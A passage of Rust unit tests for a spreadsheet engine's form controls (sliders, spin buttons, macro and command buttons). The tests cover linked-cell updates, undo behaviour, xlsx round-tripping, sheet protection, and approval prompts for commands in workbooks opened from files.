let r = s.execute("control.setValue", json!({"id": c, "value": given})).unwrap();
assert_eq!(r["value"], json!(want as u32), "{given}");
assert_eq!(v(&s, "B1"), Value::Number(want), "{given}");
assert_eq!(v(&s, "C1"), Value::Number(want * 2.0), "dependents recalculate");
assert_eq!(control(&s, c).value, want as u32);
}
assert_eq!(undo_len(&s), before + 5, "one undo step per change (99 snaps to the 100 it holds)");
s.execute("edit.undo", json!({})).unwrap();
assert_eq!(v(&s, "B1"), Value::Number(100.0));
assert_eq!(control(&s, c).value, 100);
// Setting the value it already has adds no step.
let n = undo_len(&s);
s.execute("control.setValue", json!({"id": c, "value": 100})).unwrap();
assert_eq!(undo_len(&s), n);
for p in [json!({"id": c}), json!({"id": c, "value": "x"}), json!({"id": 999, "value": 1}), json!({"value": 1})] {
assert!(s.execute("control.setValue", p).is_err());
}
// A button has no value.
let b = id(&s.execute("insert.button", json!({})).unwrap());
assert!(err(s.execute("control.setValue", json!({"id": b, "value": 1}))).contains("control.press"));
}
#[test]
fn editing_the_linked_cell_moves_the_control() {
let mut s = s();
let c = id(&s.execute("insert.spinButton", json!({"link": "$B$2", "max": 20, "step": 2})).unwrap());
s.execute("cell.set", json!({"cell": "B2", "input": "7"})).unwrap();
assert_eq!(control(&s, c).value, 8, "snapped to the step");
s.execute("cell.set", json!({"cell": "B2", "input": "500"})).unwrap();
assert_eq!(control(&s, c).value, 20, "clamped");
s.execute("cell.set", json!({"cell": "B2", "input": "text"})).unwrap();
assert_eq!(control(&s, c).value, 20, "text leaves it where it was");
// A new control starts at what its cell holds.
s.execute("cell.set", json!({"cell": "D4", "input": "12"})).unwrap();
let d = id(&s.execute("insert.slider", json!({"link": "D4", "max": 20})).unwrap());
assert_eq!(control(&s, d).value, 12);
// A linked cell on another sheet.
s.execute("home.insertSheet", json!({"name": "Data Sheet"})).unwrap();
s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
let e = id(&s.execute("insert.slider", json!({"link": "'Data Sheet'!a1", "value": 30})).unwrap());
assert_eq!(control(&s, e).link.as_deref(), Some("'Data Sheet'!$A$1"));
let wb = &s.doc().unwrap().wb;
let other = wb.sheet(wb.sheet_index("Data Sheet").unwrap()).unwrap();
assert_eq!(other.cell(gridcraft_core::CellRef::new(0, 0)).unwrap().value, Value::Number(30.0));
}
#[test]
fn format_replies_with_the_value_a_new_link_gives() {
let mut s = s();
s.execute("cell.set", json!({"cell": "C5", "input": "30"})).unwrap();
let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 10})).unwrap());
// Relinked to a cell that holds another number, the control takes that number, and the reply
// says so, as control.list does.
let r = s.execute("control.format", json!({"id": c, "link": "C5"})).unwrap();
assert_eq!(control(&s, c).value, 30);
assert_eq!(r["value"], json!(30), "{r}");
assert_eq!(r["link"], json!("$C$5"), "{r}");
// A given value is written to the new link and replied as given.
let r = s.execute("control.format", json!({"id": c, "link": "D6", "value": 44})).unwrap();
assert_eq!((r["value"].clone(), v(&s, "D6")), (json!(44), Value::Number(44.0)));
}
#[test]
fn links_follow_inserted_rows() {
let mut s = s();
let c = id(&s.execute("insert.slider", json!({"at": "E2", "link": "B3", "value": 40})).unwrap());
s.execute("selection.set", json!({"range": "1:1"})).unwrap();
s.execute("home.insertRows", json!({})).unwrap();
let ctl = control(&s, c);
assert_eq!(ctl.link.as_deref(), Some("$B$4"));
assert_eq!(ctl.anchor.cell.a1(), "E3");
assert_eq!(v(&s, "B4"), Value::Number(40.0));
s.execute("control.setValue", json!({"id": c, "value": 41})).unwrap();
assert_eq!(v(&s, "B4"), Value::Number(41.0));
}
#[test]
fn format_and_assign() {
let mut s = s();
let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 80})).unwrap());
let r = s.execute("control.format", json!({"id": c, "max": 50, "name": "Rate", "horizontal": false})).unwrap();
assert_eq!(
(r["max"].clone(), r["value"].clone(), r["name"].clone(), r["horizontal"].clone()),
(json!(50), json!(50), json!("Rate"), json!(false))
);
assert_eq!(v(&s, "B1"), Value::Number(50.0), "the new maximum pulls the linked value in");
assert!(err(s.execute("control.format", json!({"id": c, "min": 50}))).contains("greater than Minimum"));
assert_eq!(control(&s, c).min, 0, "a refused change leaves the control as it was");
s.execute("control.format", json!({"id": c, "link": ""})).unwrap();
assert_eq!(control(&s, c).link, None);
s.execute("control.format", json!({"id": c, "value": 25})).unwrap();
assert_eq!(v(&s, "B1"), Value::Number(50.0), "without a link nothing is written");
// Buttons: text and action.
// A fixed input needs a macro that takes one.
s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "x"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
let b = id(&s.execute("insert.button", json!({"text": "Go", "macro": "Fill", "input": "C2:D4", "output": "F2"})).unwrap());
let action = control(&s, b).action;
assert_eq!(action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) }));
s.execute("control.assign", json!({"id": b, "command": "home.bold", "params": {"range": "A1"}})).unwrap();
assert!(matches!(control(&s, b).action, Some(ControlAction::Command { ref id, .. }) if id == "home.bold"));
assert!(err(s.execute("control.assign", json!({"id": b, "command": "file.saveAs"}))).contains("can't run file.saveAs"));
assert!(err(s.execute("control.assign", json!({"id": b, "command": "control.press", "params": {"id": b}}))).contains("can't run control.press"));
assert!(err(s.execute("control.assign", json!({"id": b, "command": "no.such"}))).contains("no command"));
assert!(err(s.execute("control.assign", json!({"id": b, "macro": "Fill", "input": "nonsense!!"}))).contains("`input`"));
assert!(err(s.execute("control.assign", json!({"id": b}))).contains("clear"));
assert!(err(s.execute("control.assign", json!({"id": c, "macro": "Fill"}))).contains("only buttons"));
s.execute("control.assign", json!({"id": b, "clear": true})).unwrap();
assert_eq!(control(&s, b).action, None);
// Renaming the macro keeps the button pointing at it.
s.execute("control.assign", json!({"id": b, "macro": "fill"})).unwrap();
s.execute("macro.rename", json!({"name": "Fill", "to": "Fill Block"})).unwrap();
assert!(matches!(control(&s, b).action, Some(ControlAction::Macro { ref name, .. }) if name == "Fill Block"));
let list = s.execute("control.list", json!({})).unwrap();
assert_eq!(list.as_array().map(Vec::len), Some(2));
assert_eq!(list[1]["text"], json!("Go"));
}
#[test]
fn pressing_a_button_runs_its_macro_as_one_undo_step() {
let mut s = s();
s.execute(
"macro.save",
json!({"name": "Mark", "inputs": [{"name": "Input", "kind": "range"}], "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "done"}}], "output": {"onConflict": "overwrite"}}),
)
.unwrap();
let b = id(&s.execute("insert.button", json!({"macro": "Mark"})).unwrap());
s.execute("selection.set", json!({"range": "C3:D4"})).unwrap();
let before = undo_len(&s);
let r = s.execute("control.press", json!({"id": b})).unwrap();
assert_eq!(r["macro"], json!("Mark"));
assert_eq!(v(&s, "C3"), Value::text("done"));
assert_eq!(undo_len(&s), before + 1);
s.execute("edit.undo", json!({})).unwrap();
assert_eq!(v(&s, "C3"), Value::Empty);
// A fixed input ignores the selection.
s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "F6:G7"})).unwrap();
s.execute("control.press", json!({"id": b})).unwrap();
assert_eq!((v(&s, "F6"), v(&s, "C3")), (Value::text("done"), Value::Empty));
// No action, a missing macro, not a button.
let empty = id(&s.execute("insert.button", json!({"text": "Nothing"})).unwrap());
assert!(err(s.execute("control.press", json!({"id": empty}))).contains("has no action"));
s.execute("control.assign", json!({"id": empty, "macro": "Gone"})).unwrap();
assert!(err(s.execute("control.press", json!({"id": empty}))).contains("no macro called"));
let spin = id(&s.execute("insert.spinButton", json!({})).unwrap());
assert!(err(s.execute("control.press", json!({"id": spin}))).contains("only buttons"));
}
#[test]
fn a_command_button_goes_through_the_policy_with_the_documents_trust() {
let mut s = s();
let b = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "7"}})).unwrap());
// A workbook made here runs it straight away, as one undo step.
let before = undo_len(&s);
s.execute("control.press", json!({"id": b})).unwrap();
assert_eq!(v(&s, "A1"), Value::Number(7.0));
assert_eq!(undo_len(&s), before + 1);
s.execute("edit.undo", json!({})).unwrap();
// From a file: it asks first, once.
s.doc_mut().unwrap().trust = Trust::FromFile;
match s.execute("control.press", json!({"id": b})) {
Err(EngineError::Approve(q)) => assert!(q.contains("came with a workbook you opened"), "{q}"),
other => panic!("expected a question, got {other:?}"),
}
assert_eq!(v(&s, "A1"), Value::Empty, "nothing ran");
s.execute("control.press", json!({"id": b, "approve": true})).unwrap();
assert_eq!(v(&s, "A1"), Value::Number(7.0));
s.execute("cell.set", json!({"cell": "A1", "input": ""})).unwrap();
s.execute("control.press", json!({"id": b})).unwrap();
assert_eq!(v(&s, "A1"), Value::Number(7.0), "approved for the session");
// A command that reads a file always asks.
s.doc_mut().unwrap().trust = Trust::Local;
let f = id(&s.execute("insert.button", json!({"command": "data.fromTextCsv", "params": {"path": "/nonexistent/x.csv"}})).unwrap());
assert!(matches!(s.execute("control.press", json!({"id": f})), Err(EngineError::Approve(q)) if q.contains("reads a file")));
// A denied command that a file brought in never runs.
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == f) {
c.action = Some(ControlAction::Command { id: "file.saveAs".into(), params: json!({"path": "/tmp/x.xlsx"}) });
}
assert!(err(s.execute("control.press", json!({"id": f, "approve": true}))).contains("can't run file.saveAs"));
// A macro button in a file's workbook asks too (the runner's gate).
s.execute(
"macro.save",
json!({"name": "M", "steps": [{"command": "cell.set", "params": {"cell": "B1", "input": "1"}}], "output": {"onConflict": "overwrite"}}),
)
.unwrap();
let m = id(&s.execute("insert.button", json!({"macro": "M"})).unwrap());
s.doc_mut().unwrap().trust = Trust::FromFile;
assert!(matches!(s.execute("control.press", json!({"id": m})), Err(EngineError::Approve(_))));
s.execute("control.press", json!({"id": m, "approve": true})).unwrap();
assert_eq!(v(&s, "B1"), Value::Number(1.0));
}
#[test]
fn a_file_commands_approval_question_names_the_file() {
let mut s = s();
let b = id(&s.execute("insert.button", json!({"command": "file.exportCsv", "params": {"path": "/tmp/reports/q3 totals.csv"}})).unwrap());
match s.execute("control.press", json!({"id": b})) {
Err(EngineError::Approve(q)) => assert!(q.contains("writes a file (/tmp/reports/q3 totals.csv)"), "{q}"),
other => panic!("expected a question, got {other:?}"),
}
// A long path is shortened in the middle, and line breaks can't hide part of it.
let long = format!("/tmp/{}\n{}.csv", "a".repeat(300), "b".repeat(300));
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == b) {
c.action = Some(ControlAction::Command { id: "file.exportCsv".into(), params: json!({"path": long}) });
}
match s.execute("control.press", json!({"id": b})) {
Err(EngineError::Approve(q)) => {
assert!(q.contains("(/tmp/aaa") && q.contains("…") && q.contains("bbb.csv)") && !q.contains('\n') && q.len() < 600, "{q}")
}
other => panic!("expected a question, got {other:?}"),
}
// Without a path the question is unchanged.
let plain = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "1"}})).unwrap());
s.doc_mut().unwrap().trust = Trust::FromFile;
match s.execute("control.press", json!({"id": plain})) {
Err(EngineError::Approve(q)) => assert!(q.ends_with("came with a workbook you opened."), "{q}"),
other => panic!("expected a question, got {other:?}"),
}
}
#[test]
fn hostile_params_are_refused() {
let mut s = s();
let c = id(&s.execute("insert.slider", json!({"width": 1e30, "height": -5, "at": "XFD1048576"})).unwrap());
let a = control(&s, c).anchor;
assert_eq!((a.width, a.height), (10_000.0, 4.0));
let long = "x".repeat(2_000);
assert!(s.execute("insert.button", json!({"text": long})).is_err());
assert!(s.execute("insert.button", json!({"text": 5})).is_err());
assert!(s.execute("insert.button", json!({"command": "cell.set", "params": [1]})).is_err());
assert!(s.execute("control.format", json!({"id": c, "link": 5})).is_err());
assert!(s.execute("control.format", json!({"id": c, "value": f64::MAX})).is_err());
assert!(s.execute("control.setValue", json!({"id": c, "value": f64::MIN})).is_ok());
assert_eq!(control(&s, c).value, 0);
// Snapping keeps the maximum reachable when the step doesn't divide the range.
let odd = FormControl { kind: ControlKind::Spin, min: 0, max: 10, step: 3, ..Default::default() };
assert_eq!((odd.snap(9.4), odd.snap(9.6), odd.snap(f64::NAN)), (9, 10, 0));
}
fn link(s: &Session, sheet_i: usize, id: u64) -> String {
let sh = s.doc().unwrap().wb.sheet(sheet_i).unwrap();
sh.controls.iter().find(|c| c.id as u64 == id).and_then(|c| c.link.clone()).unwrap_or_default()
}
#[test]
fn links_follow_inserts_deletes_renames_and_cut_moves() {
let mut s = s();
s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
// A control on Data pointing back at Sheet1.
let back = id(&s.execute("insert.spinButton", json!({"at": "C3", "link": "Sheet1!$B$2"})).unwrap());
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
let local = id(&s.execute("insert.slider", json!({"at": "E2", "link": "$B$2"})).unwrap());
let remote = id(&s.execute("insert.spinButton", json!({"at": "E6", "link": "Data!$A$1"})).unwrap());
s.execute("home.insertRows", json!({"rows": "1:1"})).unwrap();
s.execute("home.insertColumns", json!({"cols": "A:A"})).unwrap();
assert_eq!(link(&s, 0, local), "$C$3");
assert_eq!(link(&s, 1, back), "Sheet1!$C$3");
assert_eq!(link(&s, 0, remote), "Data!$A$1", "edits on Sheet1 leave links into Data alone");
s.execute("cell.set", json!({"cell": "C3", "input": "7"})).unwrap();
s.execute("edit.cut", json!({"range": "C3"})).unwrap();
s.execute("edit.paste", json!({"at": "G9"})).unwrap();
assert_eq!(link(&s, 0, local), "$G$9", "a cut-move takes the link with the cell");
assert_eq!(link(&s, 1, back), "Sheet1!$G$9");
s.execute("sheet.rename", json!({"sheet": 1, "name": "Inputs"})).unwrap();
assert_eq!(link(&s, 0, remote), "Inputs!$A$1");
s.execute("home.deleteRows", json!({"rows": "9:9"})).unwrap();
assert!(link(&s, 0, local).contains("#REF!"), "{}", link(&s, 0, local));
s.execute("home.deleteSheet", json!({"sheet": 1})).unwrap();
assert!(link(&s, 0, remote).contains("#REF!"), "{}", link(&s, 0, remote));
// A link to a deleted cell writes nothing.
s.execute("control.setValue", json!({"id": local, "value": 5})).unwrap();
for _ in 0..3 {
s.execute("edit.undo", json!({})).unwrap();
}
assert_eq!((link(&s, 0, local), link(&s, 0, remote)), ("$G$9".to_string(), "Inputs!$A$1".to_string()));
}
#[test]
fn the_object_commands_leave_a_locked_control_on_a_protected_sheet_alone() {
let mut s = s();
let locked = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1"})).unwrap());
let other = id(&s.execute("insert.spinButton", json!({"at": "D8"})).unwrap());
let free = id(&s.execute("insert.button", json!({"at": "D12"})).unwrap());
s.execute("control.format", json!({"id": free, "locked": false})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
let before = s.doc().unwrap().wb.clone();
for (cmd, p) in [
("object.move", json!({"kind": "control", "id": locked, "at": "H9"})),
("object.delete", json!({"kind": "control", "id": locked})),
("object.setAnchorMode", json!({"kind": "control", "id": locked, "mode": "absolute"})),
("arrange.bringForward", json!({"kind": "control", "id": locked, "toFront": true})),
("arrange.sendBackward", json!({"kind": "control", "id": locked})),
("arrange.align", json!({"kind": "control", "ids": [locked, other], "align": "left"})),
] {
assert!(err(s.execute(cmd, p)).contains("protected"), "{cmd}");
}
assert!(std::sync::Arc::ptr_eq(&s.doc().unwrap().wb, &before), "nothing changed");
// An unlocked control still moves, as in Excel.
s.execute("object.move", json!({"kind": "control", "id": free, "at": "H12"})).unwrap();
assert_eq!(control(&s, free).anchor.cell.a1(), "H12");
}
#[test]
fn a_locked_control_on_a_protected_sheet_cannot_be_changed() {
let mut s = s();
let c = id(&s.execute("insert.slider", json!({"link": "B1"})).unwrap());
let b = id(&s.execute("insert.button", json!({})).unwrap());
s.execute("review.protectSheet", json!({})).unwrap();
assert!(err(s.execute("control.format", json!({"id": c, "max": 50}))).contains("protected"));
assert!(err(s.execute("control.assign", json!({"id": b, "command": "home.bold"}))).contains("protected"));
}
fn reopen(s: &mut Session) {
let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
let b64 = r["base64"].as_str().unwrap().to_string();
s.execute("file.open", json!({"name": "x.xlsx", "base64": b64})).unwrap();
}
#[test]
fn a_kept_button_action_comes_back_only_on_the_same_button() {
use crate::cmd::controls::{load_action_names, with_action_names};
let mut s = s();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
s.execute("insert.button", json!({"at": "D6", "text": "Other"})).unwrap();
s.execute("insert.button", json!({"at": "D9", "text": "Fixed", "macro": "Mark", "input": "F1:G2"})).unwrap();
let wb = (*s.doc().unwrap().wb).clone();
let stored = with_action_names(&wb).unwrap().unwrap();
let actions = |wb: &gridcraft_model::Workbook| wb.sheet(0).unwrap().controls.iter().map(|c| c.action.clone()).collect::<Vec<_>>();
let kept = |wb: &gridcraft_model::Workbook| {
let mut wb = wb.clone();
for c in &mut wb.sheet_mut(0).unwrap().controls {
// As xlsx carries them: a macro on the selection, or nothing for a command.
c.action = match c.action.take() {
Some(ControlAction::Macro { name, .. }) => Some(ControlAction::Macro { name, input: MacroInput::Selection, output: None }),
_ => None,
};
}
wb
};
// The same buttons in the same places get their actions back.
let mut same = kept(&stored);
load_action_names(&mut same);
assert_eq!(actions(&same), actions(&wb));
// Another application removed the first button: the command must not move to "Other".
let mut shifted = kept(&stored);
shifted.sheet_mut(0).unwrap().controls.remove(0);
load_action_names(&mut shifted);
assert_eq!(shifted.sheets[0].controls[0].action, None, "the command stays with the removed button");
// A button given another macro there keeps it; a command doesn't replace a macro either.
let mut reassigned = kept(&stored);
for i in [0, 2] {
reassigned.sheet_mut(0).unwrap().controls[i].action =
Some(ControlAction::Macro { name: "Other".into(), input: MacroInput::Selection, output: None });
}
load_action_names(&mut reassigned);
for i in [0, 2] {
assert!(
matches!(&reassigned.sheets[0].controls[i].action, Some(ControlAction::Macro { name, input: MacroInput::Selection, .. }) if name == "Other"),
"{i}"
);
}
// Another application cleared the macro of "Fixed": the stored action (with its fixed input)
// does not bring the assignment back. The command on a button given no macro still does.
let mut cleared = kept(&stored);
cleared.sheet_mut(0).unwrap().controls[2].action = None;
load_action_names(&mut cleared);
assert_eq!(cleared.sheets[0].controls[2].action, None, "the removed assignment stays removed");
assert_eq!(cleared.sheets[0].controls[0].action, actions(&wb)[0], "the command comes back");
}
/// An entry of the hidden name must carry the button's name and anchor cell (the writer always
/// stores both): a hand-edited entry without either, or with something else there, is dropped
/// like an unparsable one, so it cannot pin its action onto whatever button sits at that index.
#[test]
fn a_kept_action_without_the_buttons_name_or_anchor_is_dropped() {
use crate::cmd::controls::{ACTIONS_KEY, load_action_names, with_action_names};
use crate::cmd::stash;
let mut s = s();
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
let stored = with_action_names(&s.doc().unwrap().wb).unwrap().unwrap();
let items = stash::get_json(&stored, ACTIONS_KEY).unwrap();
assert!(items[0]["name"].is_string() && items[0]["at"].is_string(), "the writer stores both keys: {items}");
// As the file brings a command button back: with no action.
let kept = |items: &Json| {
let mut wb = stored.clone();
wb.sheet_mut(0).unwrap().controls[0].action = None;
stash::remove(&mut wb, ACTIONS_KEY);
stash::set_json(&mut wb, ACTIONS_KEY, items).unwrap();
load_action_names(&mut wb);
assert!(stash::get(&wb, ACTIONS_KEY).is_none(), "the hidden name is removed");
wb.sheets[0].controls[0].action.clone()
};
let edited = |key: &str, value: Option<Json>| {
let mut items = items.clone();
let entry = items[0].as_object_mut().unwrap();
match value {
Some(v) => entry.insert(key.to_string(), v),
None => entry.remove(key),
};
items
};
assert_eq!(kept(&edited("name", None)), None, "no `name`");
assert_eq!(kept(&edited("at", None)), None, "no `at`");
assert_eq!(kept(&edited("name", Some(json!(1)))), None, "`name` is not text");
assert_eq!(kept(&edited("at", Some(Json::Null))), None, "`at` is null");
assert!(matches!(kept(&items), Some(ControlAction::Command { .. })), "the writer's own entry still comes back");
}
/// A fixed input range for a macro that declares no inputs would fail every press (`macro.run`
/// refuses inputs the macro doesn't take), so the assignment is refused when it is made, naming
/// the macro; a macro the workbook doesn't have yet is not checked, and a macro with an input
/// takes the range. A file that brings such a stored input in gets the macro on the selection.
#[test]
fn a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned() {
use crate::cmd::controls::{load_action_names, with_action_names};
let mut s = s();
s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
let want = "macro 'Fill' takes no inputs";
assert!(err(s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "input": "C2:D4"}))).contains(want));
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 0, "no button was placed");
let b = id(&s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "output": "F2"})).unwrap());
let e = err(s.execute("control.assign", json!({"id": b, "macro": "fill", "input": "C2:D4"})));
assert!(e.contains(want), "any letter case: {e}");
assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) }));
s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "C2:D4"})).unwrap();
s.execute("control.assign", json!({"id": b, "macro": "Later", "input": "C2:D4"})).unwrap();
assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Later".into(), input: MacroInput::Fixed("C2:D4".into()), output: None }));
// A file's stored fixed input for Fill (another version assigned it) comes back as the selection.
s.execute("control.assign", json!({"id": b, "macro": "Fill", "output": "F2"})).unwrap();
let mut wb = (*s.doc().unwrap().wb).clone();
wb.sheet_mut(0).unwrap().controls[0].action =
Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) });
let mut stored = with_action_names(&wb).unwrap().unwrap();
load_action_names(&mut stored);
assert_eq!(
stored.sheets[0].controls[0].action,
Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) })
);
}
/// The saved xlsx bytes of `s`'s workbook.
fn saved_xlsx(s: &mut Session) -> Vec<u8> {
let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
crate::io::base64_decode(r["base64"].as_str().unwrap()).unwrap()
}
/// `bytes` with `edit` applied to the text of every part, as another application that rewrote
/// those parts would leave the file.
fn edit_parts(bytes: &[u8], mut edit: impl FnMut(&str, String) -> String) -> Vec<u8> {
use std::io::{Cursor, Read, Write};
let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).unwrap();
let mut out = zip::ZipWriter::new(Cursor::new(Vec::new()));
for i in 0..zip.len() {
let mut part = zip.by_index(i).unwrap();
let name = part.name().to_string();
let mut data = Vec::new();
part.read_to_end(&mut data).unwrap();
let data = match String::from_utf8(data) {
Ok(text) => edit(&name, text).into_bytes(),
Err(e) => e.into_bytes(),
};
out.start_file(name, zip::write::SimpleFileOptions::default()).unwrap();
out.write_all(&data).unwrap();
}
out.finish().unwrap().into_inner()
}
/// Opens `bytes` as `name`, checks the hidden name of the button actions is taken back out, and
/// lists the controls.
fn open_and_list(s: &mut Session, name: &str, bytes: &[u8]) -> Json {
s.execute("file.open", json!({"name": name, "base64": crate::io::base64_encode(bytes)})).unwrap();
assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "{name}: the hidden name is taken back out");
s.execute("control.list", json!({})).unwrap()
}
/// The macro reference xlsx writes for a button that runs `Mark`.
const MARK: &str = "[0]!Mark";
/// Another application removed a button's macro assignment and kept the button with its name and
/// place: the hidden name's copy of the action (with the fixed input and the output cell) does not
/// bring the assignment back. The same file, unedited, reopens with the whole action.
#[test]
fn a_macro_assignment_removed_in_another_application_stays_removed() {
let mut s = s();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
s.execute("insert.button", json!({"at": "D2", "text": "Run", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
let before = s.execute("control.list", json!({})).unwrap()[0].clone();
let full = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Fixed("F1:G2".into()), output: Some("H1".into()) };
assert_eq!(before["action"], serde_json::to_value(&full).unwrap());
let bytes = saved_xlsx(&mut s);
// xlsx assigns the macro in the sheet's `<controlPr macro>` and in the VML shape's
// `<x:FmlaMacro>` (the parts the reader takes it from); clearing the assignment drops both.
let (attr, fmla) = (format!(" macro=\"{MARK}\""), format!("<x:FmlaMacro>{MARK}</x:FmlaMacro>"));
let mut edited = Vec::new();
let cleared = edit_parts(&bytes, |name, text| {
if text.contains(&attr) || text.contains(&fmla) {
edited.push(name.to_string());
}
text.replace(&attr, "").replace(&fmla, "")
});
edited.sort();
assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
let list = open_and_list(&mut s, "cleared.xlsx", &cleared);
assert_eq!(list.as_array().unwrap().len(), 1);
for key in ["kind", "name", "at", "text"] {
assert_eq!(list[0][key], before[key], "{key}: the same button");
}
assert_eq!(list[0].get("action"), None, "the removed assignment stays removed");
// Unedited, the file still assigns the macro, and the action comes back whole.
let list = open_and_list(&mut s, "kept.xlsx", &bytes);
assert_eq!(list[0]["action"], before["action"]);
}
/// Another application assigned a macro to a button that ran a command (kept in the hidden name):
/// the file's macro wins, as it does when a macro button is given another macro.
#[test]
fn a_macro_assigned_in_another_application_replaces_a_stored_command() {
let mut s = s();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
let bytes = saved_xlsx(&mut s);
let (pr, data) = ("<controlPr", "<x:ClientData ObjectType=\"Button\">");
let mut edited = Vec::new();
let assigned = edit_parts(&bytes, |name, text| {
if text.contains(pr) || text.contains(data) {
edited.push(name.to_string());
}
text.replace(pr, &format!("<controlPr macro=\"{MARK}\"")).replace(data, &format!("{data}<x:FmlaMacro>{MARK}</x:FmlaMacro>"))
});
edited.sort();
assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
let list = open_and_list(&mut s, "assigned.xlsx", &assigned);
let plain = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Selection, output: None };
assert_eq!(list[0]["action"], serde_json::to_value(&plain).unwrap(), "the file's macro, not the stored command");
}
#[test]
fn every_kind_and_action_survives_xlsx() {
let mut s = s();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
s.execute("insert.slider", json!({"at": "D2", "link": "B1", "min": 10, "max": 200, "step": 10, "page": 50, "value": 70})).unwrap();
s.execute("insert.spinButton", json!({"at": "D6", "link": "B2", "max": 9, "value": 4})).unwrap();
s.execute("insert.button", json!({"at": "D9", "text": "Plain", "macro": "Mark"})).unwrap();
s.execute("insert.button", json!({"at": "D11", "text": "Fixed", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
s.execute("insert.button", json!({"at": "D13", "text": "Command", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
s.execute("review.newNote", json!({"cell": "A1", "text": "a note"})).unwrap();
let before: Vec<Json> = s
.execute("control.list", json!({}))
.unwrap()
.as_array()
.unwrap()
.iter()
.map(|c| {
let mut c = c.clone();
c.as_object_mut().unwrap().remove("id");
c
})
.collect();
reopen(&mut s);
let after: Vec<Json> = s
.execute("control.list", json!({}))
.unwrap()
.as_array()
.unwrap()
.iter()
.map(|c| {
let mut c = c.clone();
c.as_object_mut().unwrap().remove("id");
c
})
.collect();
assert_eq!(before.len(), after.len());
for (b, a) in before.iter().zip(&after) {
for key in ["kind", "name", "at", "text", "link", "value", "min", "max", "step", "page", "horizontal", "action", "print", "locked"] {
assert_eq!(b.get(key), a.get(key), "{key}: {b} vs {a}");
}
}
assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "the hidden name is taken back out");
assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
// A workbook from a file: its command button asks before it runs.
let cmd = after.iter().position(|c| c["text"] == json!("Command")).unwrap();
let id = s.execute("control.list", json!({})).unwrap()[cmd]["id"].as_u64().unwrap();
assert!(matches!(s.execute("control.press", json!({"id": id})), Err(EngineError::Approve(_))));
s.execute("control.press", json!({"id": id, "approve": true})).unwrap();
assert_eq!(v(&s, "A9"), Value::text("cmd"));
// The linked cells still move the controls.
s.execute("cell.set", json!({"cell": "B1", "input": "120"})).unwrap();
assert_eq!(s.execute("control.list", json!({})).unwrap()[0]["value"], json!(120));
}
/// A button's command goes through the macro policy when it is assigned and again when it is
/// pressed, so a file whose hidden name carries a denied command (written by another application,
/// or edited by hand) can't use a button as a way around the policy.
